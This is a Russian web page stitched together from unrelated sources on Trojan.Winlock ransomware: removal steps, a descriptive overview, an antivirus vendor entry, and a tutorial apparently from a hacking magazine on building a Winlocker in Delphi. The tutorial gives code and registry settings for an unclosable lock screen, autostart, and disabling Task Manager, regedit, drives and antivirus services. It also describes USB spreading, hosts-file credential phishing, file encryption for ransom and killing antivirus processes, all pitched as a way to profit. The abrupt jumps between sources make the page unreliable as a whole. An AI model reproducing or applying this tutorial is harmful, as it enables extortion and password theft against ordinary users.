Удаление вируса trojan winlock. Что делать если компьютер заблокирован, способы разблокировки

29.11.2020 Новости

«О, вот такая точно была картинка! Даже номер тот же», – почти радостно «узнал» вирус очередной «потерпевший».

Те, кто занимается ремонтом компьютеров, вы когда-нибудь замечали, что иногда при вашем появлении сломавшийся компьютер вдруг начинает работать как ни в чём не бывало? И невольно кто-то смотрит на вас со страхом с уважением или даже шутит.

В этом случае после загрузки Windows никакого вируса не было, а звонили мне два дня назад и всё это время компьютер был выключен. Куда же он делся?

Один из советов по удалению разновидностей вируса Trojan.Winlock , подсказывает: переведите системное время в BIOS на два дня вперёд, если не получится, то на месяц, год… Это не всегда срабатывает, так же как кованые решетки на окна не всегда спасают от грабителей, но вселяют уверенность (у меня ни разу не получалось так избавится от вымогателя), но здесь, кажется, сработало естественным путём.

И всё же удалять новую пакость лучше методами действенными и проверенными. Надо сказать, что существующие сейчас при сайтах антивирусных компаний сервисы деблокираторов уже не всегда помогают, а многочисленные варианты удаления хитро… умных вирусов способны только запутать.

Между тем среди многочисленных советов есть два достаточно простых, но эффективных способа ликвидации многочисленных Trojan.Winlock – вирусов, которые блокируют операционную систему, делая невозможной работу, и требуют при этом отправить некую сумму денег.

Сразу скажу, что варианты не мои, я ими лишь вооружился, но за полезность и профпригодность скажем спасибо worldwar87 .

Переустанавливать Windows – самое последнее дело, ведь можно решить проблему, не теряя времени и без особого риска для данных.

Первое, что надо сделать – перезагрузить компьютер и, нажимая при первоначальной загрузке клавишу F8 (иногда F5), выбрать параметр: Безопасный режим с поддержкой командной строки .

Жмём Enter и рассматриваем ситуацию: первая Безопасный режим благополучно загрузился без вируса , вторая он (вирус) никуда не исчез .

В первом случае нам нужно в командной строке набрать команду .

Открыть ветвь реестра, используя путь:

HKEY_LOCAL_MACHINE -> SOFTWARE -> Microsoft -> Windows NT -> CurrentVersion -> winlogon

Заглядываем в Shell , как на рисунке:

На чистом компьютере вы увидите то, что и должно быть: написано explorer.exe. На зараженном – полный путь до исполняемого файла вируса. Запомните или запишите его, чтобы впоследствии удалить.

Для этого в командной же строке набираем explorer.exe и через «Мой компьютер» добираемся до вируса. Удаляем.

В Shell оставляем только запись explorer.exe

Для ситуации второй, когда вирус не даёт работать в Безопасном режиме, понадобится загрузочный Live-CD с Windows.

Его придется (если нету) скачивать из Интернета. Думаю, что сможете найти – Google вам в помощь.

Потом выбрать Файл ->Импортировать (путь С:/WINDOWS/System32/config/software) открываем и в созданном нами разделе повторяем действия , описанные в первом примере.

После удаления вируса потребуется экспортировать нашу очищенную ветку назад. Для этого выбираем меню Файл ->Экспортировать и обратно в С:/WINDOWS/System32/config/software.

После этого перезагружаем компьютер. Вирус удалён, но просканировать его полностью антивирусом с обновленными базами надо: своеобразный контроль и проверка исполнения, совсем как модули СУП в системе управления предприятием.

Счастливой охоты!

Окно Trojan.Winlock 19

Trojan.Winlock (Винлокер ) - семейство вредоносных программ , блокирующих или затрудняющих работу с операционной системой, и требующих перечисление денег злоумышленникам за восстановление работоспособности компьютера, частный случай Ransomware (программ-вымогателей). Впервые появились в конце 2007 года. Широкое распространение вирусы-вымогатели получили зимой 2009-2010 годов, по некоторым данным оказались заражены миллионы компьютеров, преимущественно среди пользователей русскоязычного Интернета. Второй всплеск активности такого вредоносного ПО пришёлся на май 2010 года.

Ранее для перевода денег обычно использовались короткие премиум-номера, в настоящее время подобные программы также могут требовать перечисления денег на электронные кошельки (например, «Яндекс.Деньги»), либо баланс мобильного номера. Необходимость перевести деньги часто объясняется тем, что «Вы получили временный бесплатный доступ к сайту для взрослых, необходимо оплатить продолжение его использования», либо тем, что «на Вашем компьютере обнаружена нелицензионная копия Windows». Также возможен вариант «за просмотр и копирование и тиражирование видео с насилием над детьми и педофилии ». Пути распространения Trojan.Winlock и подобных вирусов разнообразны, в значительной части случаев инфицирование происходит через уязвимости браузеров при просмотре заражённых сайтов, либо при использовании мошенниками специальных «связок», позволяющих заражать только необходимые компьютеры также через браузер.

Классификация различных вендоров

  • Trojan.Winlock – по классификации компании Доктор Веб.
  • Trojan-Ransom – по классификации компании Лаборатория Касперского.
  • Trojan.LockScreen – по классификации компании ESET.

Предыстория

Первая программа-вымогатель появилась в декабре 1989 года. Пользователи получили по почте дискетки с программой, предоставляющей информацию о СПИДе. После установки система приводилась в неработоспособное состояние, и за её восстановление с пользователей требовали денег. Первый SMS-блокер был зарегистрирован 25 октября 2007. Вымогатель инсценировал сбой системы (синий экран смерти). Практически полностью блокировал управление системой.

Описание

Trojan.Winlock, имитирующий синий экран смерти

На данный период времени сотрудниками различных антивирусных компаний зафиксировано несколько тысяч различных видов винлокеров. Наиболее ранние типы требовали за разблокировку не более 10 рублей, а если пользователь оставлял включённым компьютер на некоторое время, то они самоуничтожались (к примеру Trojan.Winlock 19 сам удалялся без следа через 2 часа.) Однако позднее появились более опасные разновидности, которые не удалялись сами по себе и требовали за разблокировку уже от 300 до 1000 рублей.

Винлокеры ориентированы преимущественно на российских пользователей, позже появились и зарубежные версии. В них использованы методы социальной инженерии . Обычно необходимость выплаты денежной суммы объясняется использованием нелицензионного программного обеспечения или просмотром порнофильмов. Следует отметить, что в большинстве случаев заражение происходит именно с порносайтов . Достаточно часто причины необходимости отправки SMS или способы получения кода звучат абсурдно, например, «Ваш компьютер заблокирован за просмотр порнографии с несовершеннолетними и зоофилией . Для разблокировки компьютера необходимо пополнить баланс телефона в любом терминале оплаты. После оплаты код разблокировки должен появиться на чеке оплаты». Не редки орфографические ошибки. Более того, практически на всех баннерах написано предупреждение, о том, что попытка обмануть «систему оплаты» приведёт к нарушению работы компьютера или уничтожению данных. В некоторые из них даже встроен таймер обратного отсчёта, по истечении времени которого вирус обещает уничтожить все данные пользователя. Чаще всего, это простая угроза, убеждающая пользователя отдать злоумышленнику деньги. Однако, некоторые версии действительно снабжаются инструментами для уничтожения данных, но из-за низкого профессионализма авторов, особенностями установки или по другим причинам они чаще всего не срабатывают должным образом.

Заражение может произойти во время запуска программ, маскирующихся под инсталлятор какой-нибудь добросовестной программы или самораспаковывающиеся архивы . При этом в «лицензионном соглашении» (которое рядовой пользователь редко читает) оговаривается, что пользователь согласен установить на компьютер приложение «рекламного характера», которое он обязан просмотреть определённое количество раз, либо отказаться от просмотра, отправив SMS. Число требуемых просмотров обычно идёт на тысячи, поэтому пользователи предпочитают отправлять SMS злоумышленнику.

Вид «интерфейса» троянов очень красочен и разнообразен. Но в большинстве своём их объединяет либо схожесть со стандартными меню Windows, либо наличие порнографического материала (фото, гораздо реже анимации и видео, используя возможности Adobe Flash), а также окно для ввода кода разблокировки. Есть разновидности, очень похожие на синий экран смерти или стандартное окно приветствия Windows. Также не редки случаи, когда они маскируются под антивирусную программу (например Антивирус Касперского).

Trojan.Winlock условно можно разделить на 3 типа, в зависимости от того, насколько они затрудняют работу для пользователя:

  • 1 тип - это баннеры или порноинформёры, появляющиеся только в окне браузера. Наиболее легко удаляемый тип. Обычно они выдают себя за дополнительные плагины или надстройки для браузера.
  • 2 тип - это баннеры, которые остаются на рабочем столе после закрытия браузера и при этом закрывают большую его часть. Но у пользователей обычно остаётся возможность открывать другие программы, в том числе диспетчер задач и редактор реестра.
  • 3 тип - это тип баннеров, который загружается после полной загрузки рабочего стола Windows. Они закрывают практически весь рабочий стол, блокируют запуск диспетчера задач, редактора реестра, а также загрузку в безопасном режиме. Некоторые разновидности полностью блокируют клавиатуру, предоставляя пользователю лишь цифровые клавиши из своего «интерфейса», и рабочую мышь для ввода кода.

Что делать в случае заражения Trojan.Winlock

См. также

Примечания

Ссылки

  • AntiWinLocker - Специальный LiveCD для удаления вируса-вымогателя
  • Способы борьбы с программами-вымогателями класса Trojan-Ransom

(TROJ_VB.ACD, TR/Dropper.Gen, Trojan.Win32.Sovest.m, BehavesLike:Win32.Malware, Trojan:Win32/Sisproc, Trojan.Agent.JF, KillApp.L, Parser error, Trojan.VB.NID, Generic.cd, Trojan.Win32.Sovest.v, Generic.dx, BackDoor.Generic2.IIE, Trojan:Win32/Bumat!rts, VirTool:Win32/Obfuscator.M, Trojan.Win32.VB.bav, Trojan.Win32.Sovest.g, Backdoor.Pcclient.HR, Trojan Horse, Trojan:Win32/Provis!rts, Generic.BPD, TROJ_AGENT.WPQ, Trojan.Win32.Sovest.k, TROJ_AGENT.ABW, Trojan.Agent.VB.AQG)

Добавлен в вирусную базу Dr.Web: 2005-09-20

Описание добавлено: 2006-01-31

Тип вируса : Троянская программа

Уязвимые ОС : Win NT-based

Размер : 119 296 байт

Упакован : -

Техническая информация

Информация по восстановлению системы

Необходимо обратиться в Службу технической поддержки "Доктор Веб" для получения инструкций по восстановлению работоспособности системы.

Windows macOS Linux Android

  1. В случае если операционная система способна загрузиться (в штатном режиме или режиме защиты от сбоев), скачайте лечащую утилиту Dr.Web CureIt! и выполните с ее помощью полную проверку вашего компьютера, а также используемых вами переносных носителей информации.
  2. Если загрузка операционной системы невозможна, измените настройки BIOS вашего компьютера, чтобы обеспечить возможность загрузки ПК с компакт-диска или USB-накопителя. Скачайте образ аварийного диска восстановления системы Dr.Web® LiveDisk или утилиту записи Dr.Web® LiveDisk на USB-накопитель, подготовьте соответствующий носитель. Загрузив компьютер с использованием данного носителя, выполните его полную проверку и лечение обнаруженных угроз.
  1. Если мобильное устройство функционирует в штатном режиме, загрузите и установите на него бесплатный антивирусный продукт Dr.Web для Android Light . Выполните полную проверку системы и используйте рекомендации по нейтрализации обнаруженных угроз.
  2. Если мобильное устройство заблокировано троянцем-вымогателем семейства Android.Locker (на экране отображается обвинение в нарушении закона, требование выплаты определенной денежной суммы или иное сообщение, мешающее нормальной работе с устройством), выполните следующие действия:
    • загрузите свой смартфон или планшет в безопасном режиме (в зависимости от версии операционной системы и особенностей конкретного мобильного устройства эта процедура может быть выполнена различными способами; обратитесь за уточнением к инструкции, поставляемой вместе с приобретенным аппаратом, или напрямую к его производителю);
    • после активации безопасного режима установите на зараженное устройство бесплатный антивирусный продукт

Не секрет, что многие пользователи настолько далеки от информационных технологий, что допускать их к работе за таким сложным устройством, как ЭВМ, чревато. Но как организовать ограничение доступа к ПК? Ведь включить компьютер нынче может любой, у кого хотя бы на 10% руки растут из плеч. К счастью, существует целый класс программ, помогающий ограничить пользователю доступ к различным компонентам операционной системы: от простого запрета играть в Косынку или Сапера, до полной блокировки Windows.

Как происходит заражение?

Однако не все пользователи соглашаются на добровольную блокировку своей системы (хочу сконцентрировать твое внимание на том факте, что в этой статье мы не станем рассматривать создание вредоносного ПО). Так вот, нередко подобный софт доставляется на их машины в виде вируса. Способов заразить жертву чрезвычайно много. Среди них наибольшей популярностью пользуются:

1. БАГИ БРАУЗЕРОВ. Ни для кого не секрет, что одна из целей современного вирусописателя - браузер пользователя. Полезных web-сервисов пруд пруди, и пользователи, конечно же, ими пользуются. Для многих браузер - самая часто используемая программа, которая очень редко закрывается (у меня так вообще не закрывается).

Не надо ходить к гадалке в поисках ответа на вопрос «через какую дверь лучше всего прорваться в систему пользователя?». Тут и так ясно: необходимо использовать уязвимости самых популярных браузеров. Чтобы применить этот способ, не нужно обладать особым интеллектом. Достаточно пошерстить по security-сайтам, найти (если он есть) подходящий сплоит и красиво оформить его для своих нужд. Быстро, просто и бесплатно.

2. FLASH. В последние месяцы компания Adobe регулярно лажает. Не успеют они выпустить новую версию flash-плеера, как хакеры умудряются обнаружить в нем критическую уязвимость. Находят, тыкают разработчиков носом, а те не спешат их исправлять.
Глупо полагать, что в это же время вирмейкеры будут тихо сидеть на пятой точке и ждать, когда же залатают багу. Они постоянно пытаются использовать в корыстных целях свежую уязвимость и выжать из нее максимальную выгоду. В результате получается, что после просмотра тобой забавного ролика система начинает вести себя странно.

3. ПОЛЬЗОВАТЕЛЬСКАЯ НАИВНОСТЬ. Когда я начал готовить эту статью, ради эксперимента загрузил ОС в виртуальной машине и попробовал побродить по «сомнительным» сайтам. Не поверишь, но я умудрился три раза подхватить Winlocker, согласившись на установку «последней версии» flash-плеера и «специальных» кодеков. Честно говоря, я был немного в шоке, так как думал, что подобные способы уже не катят.

На чем будем кодить?

Я долго размышлял над тем, на каком языке писать примеры к этой статье, и решил вспомнить проверенный временем Delphi. «Так у тебя же exe’шник получится под мегабайт!», возразишь ты. Отчасти твоя правда, но эту проблему мы решим еще на стадии зачатия проекта. Весь код будет приведен на чистом API. Соответственно, наш зверек в скомпилированном виде будет весить менее 100 Кб. Еще пару десятков кило мы сбросим за счет манипуляций архиватором байт-кода над полученным бинарником.

Основа любого Winlocker’а

Фундамент любого Winlocker’a - форма, растянутая почти на весь экран. Причем это не просто большая форма, а окно, которое собой перекрывает все остальные и совершенно не слушается никаких команд. Ни свернуть, ни изменить размер, ни уж тем более завершить процесс программы. На первый взгляд может показаться, что вирусописатели изобрели ноу-хау, но в реале все намного проще. По факту, это самое обычное окно, для которого установлен стиль отображения «поверх всех». Чтобы окно вело себя как партизан и не реагировало на просьбы юзера, разработчики слегка модифицируют процедуру обработки сообщений извне.

Модификация сводится к банальной обработке сообщения WM_SYSCOMMAND. Если быть еще точнее, то в процедуре обработки полученных сообщений нужно всего лишь объявить проверку на сообщение WM_SYSCOMMAND. Самое смешное, что в обработке этого сообщения можно вообще не писать код - форма и так перестанет реагировать на события внешней среды.

Автостарт

Вирус должен загружаться вместе с операционной системой. Существует несколько способов обеспечить своей программе автозагрузку. Условно их можно разделить на две группы: простые и продвинутые. На рассмотрение продвинутых не хватит места в статье, поэтому рассмотрим лишь простые, основанные на использовании реестра. Итак, в реестре есть несколько уголков автостарта:

  1. HKLM\Software\Microsoft\Windows\CurrentVersion\Run - отсюда стартуют программы, запускаемые при входе в систему любого юзера.
  2. HKCU\Software\Microsoft\Windows\Current\Version\Run - место, аналогично предыдущему, за исключением того, что отсюда грузятся программы текущего пользователя.
  3. HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices - список программ, запускаемых до входа пользователей в систему.
  4. HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\ Run - этот раздел реестра отвечает за старт программ, добавленных в автозагрузку через групповые политики.
  5. HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows - еще одно место, содержащее список программ, загружаемых вместе с Windows.
  6. KHLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon - в этой ветке указывается ссылка на винлогон, но ничто не мешает указать и путь до своей программы.
  7. Папка автозагрузки. Пожалуй, самый примитивный способ, но тем не менее, многие вирусописатели им пользуются.

Какое из предложенных мест автозагрузки выбрать для своего творения? Точного ответа нет, но крайне не рекомендуется ставить все на какой-то один их предложенных вариантов. Куда лучше использовать комбинацию, то есть прописываться сразу в несколько мест. Пример записи в автозагрузку на WinAPI приведен во второй врезке.

И тебя заблокируем, и меня заблокируем!

Например, ты запросто можешь назначить программу, которая будет запускаться после загрузки системы или заблокировать старт определенного приложения. Практически все операции, которые выполняются через эту оснастку, изменяют определенные ключи реестра. Если ты умудришься разузнать, какие именно ключи реестра модифицируются, то без проблем сможешь изменять их прямо из своей программы. Как это сделать? Существует два варианта: применить метод научного тыка, или воспользоваться утилитой ProcessMonitor от Марка Руссиновича. Второй способе явно круче, поэтому советуем скачать утилиту и приступить к исследованиям.

Редактор реестра

Большинство пользователей привыкли редактировать реестр с помощью встроенного в Windows редактора реестра regedit. Поскольку наш вирус будет вносить изменения в реестр, нам необходимо не допустить ковыряний в реестре со стороны нерадивого пользователя. Нечего ему совать свой любопытный нос куда не следует. Решить эту задачу проще всего путем блокировки запуска редактора реестра. Чтобы выполнить блокировку, достаточно создать ключ DisableRegistryTools со значением 1 в ветке HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System .

Диспетчер задач

Все без исключения винлокеры, которые я видел, блокировали запуск диспетчера задач. Что ж, не станем от них отставать. Реализуется эта фича созданием ключа DisableTaskMgr (тип dword) со значением 1 в той же самой ветке, где и DisableRegistryTools.

Установка и удаление программ

Особо мозговитые юзеры с помощью апплета «Установка и удаление программ» в случае заражения системы пытаются инсталлировать антивирусы. Это легко пресечь, если создать ключ NoAddRemovePrograms со значением 1 (тип dword) все в том же разделе, где и DisableRegistryTools.

Блокируем доступ к дискам

Чтобы полностью испортить пользователю настроение, можно вообще заблокировать доступ к присутствующим в системе дискам. Пусть юзер даже не пытается запустить антивирус со своей флешки! Реализуем этот трик путем создания ключа NoViewOnDrive (dword) в разделе HKEY_LOCAL_MACHINE\ Software\Microsoft\Windows\CurrentVersion\Policies\Explorer. В качестве значения для ключа указываем битовою маску блокируемого диска. Например, для диска C это будет 4. В случае, если требуется заблокировать несколько дисков, то их маски придется сложить. Например, значение 12 будет соответствовать блокировке дисков C (4) и D (8).

Фишка №1: в любом месте веселее вместе

Заразил компьютер бедного пользователя? Не забудь позаботиться о его друзьях! Помни, чем шире распространится вирус, тем больше шансов получить деньги. Обосновавшись на вражеской машине, нужно не терять времени зря, а пытаться найти новый плацдарм. Как это сделать? Один из простых и самых действенных способов - мониторинг и заражение флешек. Поскольку пользователи постоянно пользуются флешками, нашему вирусу будет легко мигрировать из одной системы в другую. Определить факт подключения флешки легко. Достаточно написать код, обрабатывающий событие WM_DEVICECHANGE.

В коде из третьей врезки я использовал константы и структуры, описания которых нет в модулях, поставляемых вместе с Delphi. Их придется описывать самостоятельно. Я всю информацию брал с MSDN, но ты можешь не париться, а сразу взять исходник моего кода на DVD.

Фишка №2: ваши пассы будут наши!

Какими web-сервисами пользуется современный юзер? Не нужно быть семи пядей во лбу, чтобы назвать хотя бы несколько из них: почта, одноклассники, Вконтакте, facebook, twitter, etc. Список можно продолжать до бесконечности. К чему это я клоню? А к тому, что находясь на вражеской территории, было бы неплохо собрать все пароли. Авось, в будущем пригодятся. К тому же, имея на руках такие козыри, становится реальным простимулировать жертву. Например, получив пароли от всевозможных аккаунтов, автор вируса может воспользоваться ими для смены контактных данных и изменения паролей на свои. В результате реальный пользователь попадет в очень нехорошую ситуацию. Проще говоря, он лишается своего аккаунта. Это уже куда серьезней заблокированного рабочего стола, а раз так, то шансы оплаты твоих «услуг» возрастают.

Сразу возникает вопрос, а каким образом это проще всего сделать? Обычно юзеры хранят свои пароли прямо в браузере, поэтому сразу возникает идея угнать файлик хранилища паролей. Пример такого угона был продемонстрирован в статье «Злобный комп». Я же продемонстрирую тебе альтернативный способ. Идея заключается в банальном модифицировании hosts. В этом файле прописываются соответствия типа «символьный адрес сайта:ip». Наша программа должна уметь модифицировать этот файл и добавлять соответствия для популярных web-сервисов. «А куда будем перекидывать юзера?». Можешь для этого состряпать свой evil-сайт, на котором и будут располагаться скамы популярных сервисов. Этот способ прост в реализации, но при массовом заражении пользователей такие сайты наверняка не будут жить долго. В связи с этим откажемся от предложенного способа, а пойдем не совсем стандартным путем - встроим в вирус маленький webсервер. При таком раскладе пунктом назначения переадресации у нас будет localhost.

Например: 127.0.0.1 www.odnoclassniki.ru

Рассматривать правку файла hosts не будем, лучше сразу взглянем на то, как с помощью Delphi поднять свой WEB-сервер. Если ты постоянный читатель нашего журнала, то должен хорошо ориентироваться в Winsock API. В свое время в рубрике Кодинг проскакивали статьи про написание всевозможных клиентов (FTP, PROXY, IRC и т.д.) с использованием лишь api-функции. Рекомендую тебе поднять подшивку и хорошенько ознакомиться с сабжевой темой (масло масляное - прим. ред.).

Теперь, вместо одноклассников.ру, жертва попадет не на настоящий сайт популярной социальной сети, а прямо в лапы нашего evil-сервера. Само собой, web-сервер должен быть вежливым и отобразить реальную страницу одноклассников (читай - скам сайта, его нужно заранее подготовить). Ну а дальше все просто: юзер вбивает свои данные для входа, после чего наш web-сервер их сохраняет. Чтобы откровенно не палиться, желательно сделать редирект на страницу с предупреждением о том, что сайт в данный момент закрыт на профилактические работы. Или, как вариант - сохранив, форвардить введенные данные на реальные одноклассники.

Фишка №3: экстази для пользователя

Как зло-программеры стимулируют пользователя на расставание с кровными платными SMS? По-разному. Например, шифруя ценные для него файлы. На какие файлы обращать внимание? Лучше всего на те, от которых может зависеть работа/учеба жертвы, например: документы (doc, xls, mdb, ppt, txt), изображения (jpeg, png, bmp), исходные тексты (php, pas, c, h, cpp, dpr, py и т.д.). Если жертва писала дипломную работу или какой-нибудь сверхважный отчет, который завтра сдавать, то у злоумышленника есть все шансы получить денежное вознаграждение.

Теперь поговорим о технической реализации этой штуки. Поиск файлов осуществляется с функциями FindFirs() и FindNext() из модуля Sysutils. Работать с ними легко, но простота такого фастфуда отрицательно отразится на фигуре нашего приложения. Поскольку набирать лишний вес нам ни к чему, мы воспользуемся более диетическими продуктами: FindFirstFile() и FindNextFile(). Работать с ними чуть сложнее (см. пример поиска файлов на диске), но красота требует жертв.

Шифрование файлов средствами Delphi также осуществляется достаточно просто. Все зависит от выбранного способа шифрования. Можно просто воспользоваться готовыми модулями, которых пруд пруди на torry.net и на других сайтах. Например, мне попался неплохой вариант от одного из разработчиков Delphi. В этом модуле реализованы следующие функции:

//Шифрование файла
function FileEncrypt(InFile, OutFile: String;
Key: TWordTriple): boolean;
//Расшифровка файла
function FileDecrypt(InFile, OutFile: String;
Key: TWordTriple): boolean;
//Шифрование текста
function TextEncrypt(const s: string;
Key: TWordTriple): string;
//Расшифровка текста
function TextDecrypt(const s: string;
Key: TWordTriple): string;
//Шифрование "памяти"
function MemoryEncrypt(Src: Pointer; SrcSize:
Cardinal;
Target: Pointer; TargetSize: Cardinal;
Key: TWordTriple): boolean;
//Расшифровка «памяти»
function MemoryDecrypt(Src: Pointer;
SrcSize: Cardinal; Target: Pointer;
TargetSize: Cardinal; Key: TWordTriple): boolean;

Полный текст этих функций, а также примеры их использования ты найдешь на нашем диске.

Фишка №4: размножайся!

Фишка №5: играй в прятки по максимуму

Как показала практика, авторы Winlocker’ов не сильно заботятся о безопасности своих детищ. Защита большинства представителей этой группы вирусов, попадавшихся мне на глаза, сводилась к банальному присвоению неприметного имени файла. Например: system.exe, user32.exe, csrss.exe, eplorer.exe и так далее. Я не думал, что подобные способы еще катят, но как выяснилось, я заблуждался.
Рекомендую тебе не пренебрегать безопасностью, а предусмотреть несколько разных алгоритмов:

  1. Давай файлу вируса неприметное имя. Хоть это и примитивное правило, но соблюдать его крайне желательно.
  2. Удали вирус из списка процессов. Этого можно добиться, разобравшись с перехватом API функций. Мы уже много раз писали про перехват API. Обязательно перечитай эти статьи!
  3. Используй несколько способов автозагрузки.

Фишка №6: убить на старте

Не поленись и напиши процедуру принудительного завершения процессов. Она обязательно поможет тебе уберечь свое детище от злобных антивирусов, которые пользователь будет пытаться запустить. В идеале вообще организовать перехват функций, использующихся для запуска программ, и не допускать, чтобы они нормально работали.

Work complete

Написать WinLocker и срубить на нем несколько сотен баксов - более чем реально. Пользователи по-прежнему не думают о безопасности и при возникновении щепетильной ситуации готовы отправить заветную смс’ку, нежели напрягать свои извилины. Я показал тебе самый примитивный скелет Winlocker’a. В принципе, довести его до боевого состояния - дело нескольких часов. Только нужно ли это делать? Выбор за тобой! Главное не забывай о том, что написание и распространение вирусов - уголовнонаказуемое деяние, за которое можно словить реальный срок. Само собой, исходник полноценного вируса я не дам. Нет, не потому что я жадный. Эти вирусы и так всех достали, поэтому я чертовски не хочу, чтобы после этой статьи их стало еще больше. Вдобавок, мне не хочется читать новости про то, как правоохранительными органами были задержаны очередные создатели ужасных вирусов:).

Самопальный web-сервер

var
_buff: array of char;
_request:string;
_temp: string;
_path: string;
_FileStream: TFileStream;
begin
Recv(_client, _buff, 1024, 0);
_request:=string(_buff);
_path:= GetFilePath (Copy
(_request, 1, pos(#13, _request)));
_path:= ReplaceSlash(_path);
if ((_path = "") or (_path = "\")) Then
_path:= DocumentRoot + "\" + DirectoryIndex;
{ else
if ((_path ="\")) Then
_path:= DocumentRoot + "\" +
DirectoryIndex; }
if (FileExists(_Path)) Then
begin
_FileStream:=
TFileStream.Create(_Path, fmOpenRead);
SendStr(_Client, "HTTP/1.0 200 OK");
SendStr(_Client, "Server: xSrV");
SendStr(_Client, "Content-Length:" +
IntToStr(_FileStream.Size));
SendStr(_Client, "Content-Type: "
+ GetTypeContent(_Path));
SendStr(_Client, "Connection: close");
SendStr(_Client, "");
SendFile(_Client, _FileStream);
_FileStream.Free;
End
//Вырезано

Ограничиваем запуск приложений

С помощью реестра реально определить список одобренных для запуска программ. Если этот список задан, то пользователь не сможет запустить приложения, которых в нем нет. Список одобренных к запуску приложений задается здесь: HKEY_CURRENT_USER\Microsoft\Windows\CurrentVersion\Policies\Explorer\ RistrictRun. Создав этом разделе ключи (тип REG_SZ) для каждой разрешенной программе, тебе нужно будет подняться на один уровень выше и добавить параметр RestrictRun типа dword со значением 1.

Управление компьютером

Много нехороших дел сможет натворить пользователь, если у него имеется доступ к запуску оснастки «Управление компьютером». Полностью отключить оснастку с помощью реестра нельзя, но удалить ссылку на ее запуск из контекстного меню ярлыка «Мой компьютер» - проще пареной репы. Всего лишь требуется создать параметр NoManageMyComputerVerb типа dword со значением 1 в разделе HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer.

Вырубаем службы

Используя возможности реестра, ты без проблем сможешь отключить ненужные пользователю службы (например, антивирусы). Полный список установленных в системе служб находится в ветке HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services. Для деактивации службы отредактируй значение ключа start. Например, чтобы установить службе «Тип запуска» значение «вручную», ключу start необходимо присвоить 3. Если желаешь, чтобы твое ПО протянуло во вражеской системе дольше, то советую вести в своем творении базу служб антивирусов. То есть тебе необходимо четко опознавать сервисы антивирусов и менять им тип запуска.

А что еще нам надо?

Типичные функции любого Winlocker’а мы рассмотрели, теперь самое время подумать о том, как улучшить наше детище. Честно говоря, я не понимаю, почему профессиональные вирусописатели не встраивают в подобные вирусы дополнительные полезные функции. Ведь нет никакой гарантии, что юзер дотянется до мобилы и отправит заветную смс’ку на короткий номер, тем самым обогатив автора вируса. Зато всегда есть шанс увести с тачки пользователя полезную информацию: пароли на различные сервисы, документы, записанные skype переговоры и т.д. Мы не будем вводить каких-то ограничений, а проапгрейдим нашу софтину по полной программе. Итак, ниже я описал шесть фишек, которые было бы полезно реализовать в подобном «проекте».

Мониторим флешки

var
disk:DWORD;
begin
case Msg.WParam of
DBT_DEVICEARRIVAL: //Если подключили флешку


begin
//Пытаемся определить букву диска
disk:= PDEV_BROADAST_VOLUME(Msg.LParam" ")^
.dbcv_unitmask;
//Выполняем свой зловредный код
end;
DBT_DEVICEREMOVECOMPLETE: //Если флешку извлекли
if (PDEV_BROADCAST_HDR(Msg.LParam)^
.dbch_devicetype = DBT_DEVTYP_VOLUME) then
begin
//Флешку отмонтировали
end;

Незакрываемое окно на WINDOWS API

wc.cbSize:=sizeof(wc);
wc.style:=cs_hredraw or cs_vredraw;
wc.lpfnWndProc:=@WindowProc;
wc.cbClsExtra:=0;
wc.cbWndExtra:=0;
wc.hInstance:=HInstance;
wc.hIcon:=LoadIcon(0,idi_application);
wc.hCursor:=LoadCursor(0,idc_arrow);
wc.hbrBackground:=COLOR_BTNFACE+1;
wc.lpszMenuName:=nil;
wc.lpszClassName:=’win_main’;
RegisterClassEx(wc);
leftPos:=20;
topPos:=0;
windowWidth:=Screen.Width;
WindowHeight:=Screen.Height;
MainWnd:=CreateWindowEx(
0,
‘win_main’,
‘test’,
ws_overlappedwindow,
leftPos,
topPos,
windowWidth,
windowHeight,
0,
0,
Hinstance,
nil
);
SetWindowLong(MainWnd, GWL_HWNDPARENT,
GetDesktopWindow);
SetWindowPos(MainWnd, HWND_TOPMOST,
0, 0, 0, 0, SWP_NOMOVE or SWP_NOSIZE);
ShowWindow(MainWnd, CmdShow);
While GetMessage(Mesg,0,0,0) do
begin
TranslateMessage(Mesg);
DispatchMessage(Mesg);
end;

WINAPI для работы с реестром

var
Key: HKey;
begin
//Сюда можешь подставить один из путей
автозагрузки.
RegOpenKey(HKEY_LOCAL_MACHINE,
PChar(‘’), Key);
RegSetValueEx(Key,PChar(paramstr(0)),
0, REG_SZ,
pchar(paramstr(0)),
lstrlen(pchar(paramstr(0)))+1);
RegCloseKey(Key);
end;

Снимается он достаточно просто, уже давно такие антивирусные гиганты как Лаборатория Касперского и Dr.Web подготовили Live CD для этих целей. Рекомендую скачать и записать на диск на всякий случай. Итак наши действия:

  1. Проверяем на сайтах производителей антивирусов возможность подбора кода для разблокировки. Если подходит, то переходим сразу к лечению.
  2. Итак, наиболее частый вариант – ни чего не помогает. Тут-то нам и пригодится Live CD. Как с ним работать расписано у выбранного вами производителя. Если у нас под рукой не оказалось лечащего диска, то начинаем пробовать лечить самостоятельно.

Удаление и лечение trojan winlock

Перезагружаем компьютер, и нажимаем кнопку F8. В появившемся меню выбираем «Безопасный режим с поддержкой командной строки»

1. В консоли вводим regedit и у нас откроется редактор реестра. В нём находим ветку HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWinlogon и параметр Shell

2. Нажимаем на нём правой кнопкой мыши и выбираем пункт изменить. В высветившемся окне находим имя файла (чаще всего это бессмысленный набор чисел, чисел и букв с расширением.exe или.dll) и копируем его.